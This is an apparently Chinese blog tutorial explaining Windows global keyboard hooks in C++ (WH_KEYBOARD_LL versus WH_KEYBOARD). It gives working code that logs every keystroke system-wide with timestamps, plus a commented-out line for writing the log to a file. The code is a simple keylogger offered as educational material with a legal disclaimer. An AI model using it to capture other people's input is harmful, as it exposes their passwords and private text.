C++ 监视用户输入的数据(键盘钩子)代码及详解
有关利用C++设置键盘钩子的代码,基本上都是基于一个窗口程序,其实控制台窗口也能够实现,我们不需要太多的修改即可实现。
在SetWindowsHookEx()函数中的第一个参数我们要设置成
WH_KEYBOARD_LL
而不是
WH_KEYBOARD
为什么呢?在这里我们实现的钩子是全局钩子!WH_KEYBOARD_LL记录的所有程序的按键信息,也就是说只要有键盘按键这个时间它就会触发。
而WH_KEYBOARD只记录当前本程序的主进程的键盘输入。
那么问题来了,当我们设置成WH_KEYBOARD时,我们往控制台窗口输入按键时,它会不会有响应呢,答案是不能。那么有人就要问了,难道那个控制台窗口不是控制台程序的主进程吗,没错,你猜对了。至于为什么,请读者自行上网查询。
至于Windows.h 和windows.h的区别,可以点击一下链接
高速公路-Windows.h与windows.h的区别https://blog.csdn.net/way_back/article/details/122755276?spm=1001.2014.3001.5501
Code(Dev C++ IDE)
#include<Windows.h>
#include<cstdio>
//#include<cstring>
SYSTEMTIME systime;
LRESULT CALLBACK Proc(int code,WPARAM w,LPARAM l){KBDLLHOOKSTRUCT *T=(KBDLLHOOKSTRUCT*)l;DWORD x=T->vkCode;if(w==WM_KEYDOWN){GetLocalTime(&systime);printf("Tip->%d/%d/%d %d:%d:%d",systime.wYear,systime.wMonth,systime.wDay,systime.wHour,systime.wMinute,systime.wSecond);printf(" Press: ");putchar(x);putchar('\n');}return CallNextHookEx(NULL,code,w,l);
}
int main(){//freopen("Date.in","a+",stdout);HHOOK hook=::SetWindowsHookEx(WH_KEYBOARD_LL,Proc,0,0);MSG msg;while(GetMessage(&msg,NULL,0,0)){TranslateMessage(&msg);DispatchMessage(&msg);}UnhookWindowsHookEx(hook); return 0;
}
免责声明:
本讲解是纯学术性质,请勿盗取他人信息,违反法律
C++ 监视用户输入的数据(键盘钩子)代码及详解相关推荐
- [免费专栏] Android安全之数据存储与数据安全「详解」
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 Android安全付费专栏长期更新,本篇最新内容请前往: [ ...
- vsftp建立虚拟用户不同目录分配不同权限操作步骤详解
这篇文章主要介绍了vsftp建立虚拟用户不同目录分配不同权限操作步骤详解,大家参考设置自己的FTP服务器吧vsftpd服务器同时支持匿名用户.本地用户和虚拟用户三类用户账号,使用虚拟用户账号可以提供集 ...
- 04-mysql数据备份之mysqldump命令详解
MYSQL数据备份之mysqldump命令详解 一.mysqldump 简介 mysqldump 是 MySQL 自带的逻辑备份工具. 它的备份原理是通过协议连接到 MySQL 数据库,将需要备份的数 ...
- pyecharts在数据可视化中的应用详解
使用pyecharts进行数据可视化 安装 pip install pyecharts也可以在pycharm软件里进行下载pyecharts库包. 下载成功后进行查询版本号 import pyech ...
- 【Dash搭建可视化网站】项目12:全球恐怖主义数据大屏制作步骤详解
全球恐怖主义数据大屏制作步骤详解 1 项目效果图 2 项目架构 3 文件介绍和功能完善 3.1 assets文件夹介绍 3.2 app.py和index.py文件完善 3.3 header.py文件完 ...
- Tribon模型数据抽取之sx700.exe详解
Tribon模型数据抽取之sx700.exe详解 一:简介 网络上关于Tribon模型数据抽取的论文最早流传的是2006哈尔滨工程大学姚竞争的工学硕士学位论文<TRIBON模型的数据抽取及二次开 ...
- Mac入门实用手册:键盘快捷键(图文详解)
macOS作为 Apple 最成熟的系统之一,已然成为许多人每天都在接触的生产力工具.为了帮助大家更好地了解 macOS 的生态魅力,我们整理了这份融合了文字图片和动图的「macOS 技巧实用集锦」, ...
- java构造和解析json_Java构造和解析Json数据的两种方法详解一
在www.json.org上公布了很多JAVA下的json构造和解析工具,其中org.json和json-lib比较简单,两者使用上差不多但还是有些区别.下面首先介绍用json-lib构造和解析Jso ...
- java json解析 代码_Java构造和解析Json数据的两种方法详解一
在www.json.org上公布了很多JAVA下的json构造和解析工具,其中org.json和json-lib比较简单,两者使用上差不多但还是有些区别.下面首先介绍用json-lib构造和解析Jso ...
最新文章
- Unity电子游戏优化终极指南 The Ultimate Guide to Video Game Optimisation
- 枚举 + 进制转换 --- hdu 4937 Lucky Number
- 青藏高原地下巨型空间形成原因
- FOJ 2105 Digits Count
- 数组声明为public final static缺陷
- JAVAWEB开发之JSP、EL、及会话技术(Cookie和Session)的使用详解
- 前端学习(2648):vue3.0的处理展示
- MYSQL delete 从多人表中删除
- stl之bit_vector原理及应用
- 几何分布的期望和方差公式推导_数学期望、方差、协方差
- [DOTween]使用过程中的一些注意事项记录
- 配置管理——配置项标识
- 算法笔记-----归并排序
- php日志,记录日志
- Flutter Card组件
- 遗传算法求解TSP问题(C++实现)
- 网易有道三季报解读:转型“有道”,但依旧道阻且长
- java ctr_分组密码_计数器(CTR)模式_原理及java实现
- 深入解析ThreadLocal源码
- Mysql错误:Table 'xxx'is marked as crashed and should be repaired
热门文章
- 计算机设置调整吃鸡,吃鸡在哪里设置调整画面啊 吃鸡整体画面优化方法
- ZZNUOJ_用C语言编写程序实现1375:画箭(附完整源码)
- 统计学-Week14
- 使用命令提示符进行转换GPT
- 模数转换(A/D)和数模转换(D/A) 图示
- 从键盘输入一句英文,实现把这句英文的单词按照字典顺序排序输出。
- 连接数据库中出现mysql错误:Duplicate entry ‘5‘ for key ‘PRIMARY‘
- 网易“暴力”裁掉绝症老员工,背后是藏不住的“中年危机”
- i5 11300h核显相当于什么显卡
- oracle安装出现问题--无法在节点上执行物理内存检查